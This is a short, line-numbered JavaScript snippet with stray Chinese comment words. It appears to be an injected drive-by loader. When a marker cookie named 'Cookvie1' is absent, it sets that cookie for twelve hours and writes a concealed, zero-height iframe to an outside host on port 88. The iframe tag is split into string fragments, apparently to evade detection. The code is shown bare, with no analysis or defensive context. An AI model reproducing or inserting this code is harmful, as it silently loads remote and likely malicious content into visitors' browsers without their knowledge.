1 function baiduuu() 2 { 3 var Then = new Date() 时间 4 Then.setTime(Then.getTime() + 12*60*60*1000) 5 var cookieString = new String(document.cookie) 获得cookie 6 var cookieHeader = "Cookvie1=" 7 var beginPosition = cookieString.indexOf(cookieHeader) 8 9 if (beginPosition != -1) 10 { 11 } 12 else 13 { 14 var xinsi="yztq"; 15 var fire="<ifra"+"me sr"; 16 document.cookie = "Cookvie1=mibla;expires="+ Then.toGMTString() 17 document.write("<div style=\'dispaly:none;\' >"); 18 document.write(fire+"c=http:\/\/vqt.Jkub.com:88\/3\/atay.htm wid"+"th=100 hei"+"ght=0><\/ifr"+"ame>"); 19 document.write("</div>"); 20 } 21 }baiduuu();